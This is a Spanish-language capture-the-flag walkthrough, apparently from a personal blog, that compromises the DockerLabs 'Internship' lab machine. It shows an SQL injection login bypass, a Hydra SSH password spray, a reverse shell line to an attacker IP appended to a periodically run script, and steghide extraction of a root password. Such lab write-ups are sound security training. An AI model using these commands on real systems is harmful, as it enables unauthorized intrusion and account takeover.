Internship - Multi-Stage Exploitation via SQLi and Steganography
Introduction
La máquina Internship de Dockerlabs se centra en una máquina vulnerable con los puertos 80 (HTTP) y 22 (SSH) expuestos. Inicialmente, se identificó una vulnerabilidad de inyección SQL (SQLi) en la aplicación web, lo que permitió extraer información relevante sobre los usuarios del sistema. Con estos datos, se generó un diccionario personalizado para realizar un ataque de fuerza bruta contra el servicio SSH utilizando Hydra, logrando acceso a una cuenta sin privilegios elevados. Posteriormente, se llevó a cabo una escalada de privilegios horizontal, comprometiendo otra cuenta dentro del sistema. Finalmente, se identificó una imagen que contenía información oculta mediante esteganografía LSB (Least Significant Bit), lo que permitió obtener credenciales adicionales. Con estos datos, se ejecutó una escalada de privilegios vertical, obteniendo acceso total como usuario root.
Platform: DockerLabsLevel: EasyOS: LinuxReconnaissance
Target IP: 172.17.0.2Como primer paso se realiza un escaneo de puertos con la herramienta Nmap

Enumeration
22/SSH
El puerto 22 ejecuta el servicio SSH versión OpenSSH 9.2p1. De momento no tenemos ninguna vulnerabilidad que aprovechar para esta versión.
80/HTTP
El puerto 80 ejecuta un servidor web Apache/2.4.62. Por lo visto es una página enfocada en la administración de empleados. No se permite la interacción con el menu de momento:

En el código fuente de la página principal se observa el dominio gatekeeperhr.com
Con el fin de acceder al mismo es necesario añadirlo al /etc/hosts, esto se puede realizar con el siguiente comando echo "172.17.0.2 gatekeeperhr.com" | sudo tee -a /etc/hosts

Ahora es posible interactuar con el menu. Se observa un panel de autenticación:

En el código fuente de la página principal se encuentra un comentario que permite inferir que los pasantes tienen permisos SSH.

En el panel de autenticación al enviar una comilla simple (’) como usuario y cualquier contraseña, se genera el error JSON.parse unexpected end of data at line 1 column 1 of the json data lo que puede indicar un posible problema de procesamiento de entrada.

Con el payload ' OR '1'='1' -- se logra acceder al sistema sin credenciales válidas por lo que la aplicación es vulnerable a SQLi (SQL Injection)

Luego de ingresar es posible observar un Dashboard de Recursos Humanos con información ciertamente relevante:

Se realiza Directory Bruteforcing con el fin de encontrar directorios o archivos ocultos no listados. Se encontró el archivo /employees.php y el directorio /spam

Con el comando curl -X GET 'http://gatekeeperhr.com/employees.php' -o employees.php se descargó el archivo con el fin de inspeccionarlo. Básicamente son los datos de los empleados encontrados anteriormente en el dashboard de recursos humanos:

En el directorio /spam/index.html se inspeccionó el código fuente y se encontró una frase encriptada en ROT13

Haciendo uso de CyberChef se lográ obtener el mensaje “La contraseña de uno de los pasantes es 'purpl3'”

Exploitation
Con una credencial, es factible el intentar un ataque de fuerza bruta. En primer lugar, utilizando los datos encontrados anteriormente en el archivo employees.php se crea la lista de los posibles usuarios:

En este caso se utiliza la herramienta Hydra con el comando hydra -L users.txt -p purpl3 ssh://172.17.0.2 -V

Una vez obtenidas las credenciales es posible acceder al servicio SSH de la víctima:
User: pedroPassword: purpl3
Privilege Escalation
En el directorio /opt se encontró un script sospechoso llamado log_cleaner.sh

Con el comando ps aux es posible observar todos los procesos en ejecución con detalles como usuario, PID, uso de CPU/memoria, estado y el comando que los inicio. El comando | grep log_cleaner permite filtrar los resultados.
Es posible notar que la usuaria valentina tiene dos instancias del script log_cleaner.sh en ejecución. Esto se ve en las líneas que muestran /bin/sh -c sleep 45; /opt/log_cleaner.sh y /bin/sh -c sleep 30; /opt/log_cleaner.sh. Cada una de estas líneas representa un proceso separado que ejecuta el script con un retraso diferente (45 y 30 segundos) antes de ejecutar el script. Esto permite que el script se ejecute de manera periodica.
Con el comando ls -l /opt/log_cleaner-sh se busca inspeccionar los permisos, propietario y grupo del archivo en específico:
| Categoría | Usuario Propietario (Valentina) | Grupo(Valentina) | Otros (Yo, Pedro) |
|---|---|---|---|
| Permisos | rwx (leer, escribir, ejecutar) | rw- (leer, escribir) | rw- (leer, escribir) |

El usuario pedro posee permisos de escritura en el archivo log_cleaner.sh y con el conocimiento de que el script se ejecuta de manera periodica podriamos concluir que es posible inyectar código malicioso en el script. Como el objetivo es obtener RCE de la usuaria valentina lo más factible seria utilizar una Reverse Shell.
Con el comando echo "bash -i >& /dev/tcp/192.168.0.10/1717 0>&1" >> /opt/log_cleaner.sh luego iniciando nc -lvnp 1717 en nuestra terminal local es posible acceder como valentina

Una vez dentro se intenta nuevamente escalar privilegios. En el directorio principal se encontró una imagen profile_picture.jpeg, con la herramienta steghide se intento extraer datos del archivo multimedia pero sin exitos.

Con el fin de utilizar la herramienta anteriormente mencionada realizamos una serie de pasos. En primer lugar, se copió el archivo profile_picture.jpeg al directorio /tmp. El directorio /tmp es un directorio temporal donde es posible almacenar archivos temporalmente.
En segundo lugar, con el comando chmod +x /tmp/profile_picture.jpeg se dio permisos de ejecución al archivo profile_picture.jpeg en el directorio /tmp. Esto significa que ahora el archivo se puede ejecutar como un programa.
En tercer lugar, con el comando scp /tmp/profile_picture.jpeg pedro@172.17.0.2:/home/pedro se usó scp (Secure Copy) para transferir el archivo profile_picture.jpeg al servidor con la dirección IP 172.17.0.2. El archivo se copió al directorio /home/pedro en el servidor remoto, y se transfirió al usuario pedro.

Una vez con el archivo en la máquina de pedro se utiliza el comando php -S 0.0.0.0:8080 para crear un servidor PHP con el objetivo de descargar el archivo profile_picture.jpeg en nuestra máquina local.

Dentro de nuestra máquina local, haciendo uso del comando wget http://172.17.0.2:8080/profile_picture.jpeg se obtiene el archivo profile_picture.jpeg pudiendo asi hacer uso de la herramienta de esteganografía steghide
Se utiliza el comando steghide info para analizar el archivo profile_picture.jpeg, esto muestra un archivo embebido llamado secret.txt. Se extrae con el comando steghide extract -sf
Luego de analizar el archivo extraído secret.txt notamos que dentro se encuentra la palabra mag1ck, lo que posiblemente corresponda una credencial.

User: valentinaPassword: mag1ckCon el proposito de verificar lo anteriormente mencionado, en la terminal de valentina se ejecutó el comando sudo su y, posteriormente se ingresó la credencial obtenida logrando asi completar la máquina:

ROOTED
Internship - Multi-Stage Exploitation via SQLi and Steganography
Link: https://yw4rf.netlify.app/posts/dockerlabs/internship
© 2025 All rights reserved https://creativecommons.org/licenses/by-nc-sa/4.0/ 。
Share your thoughts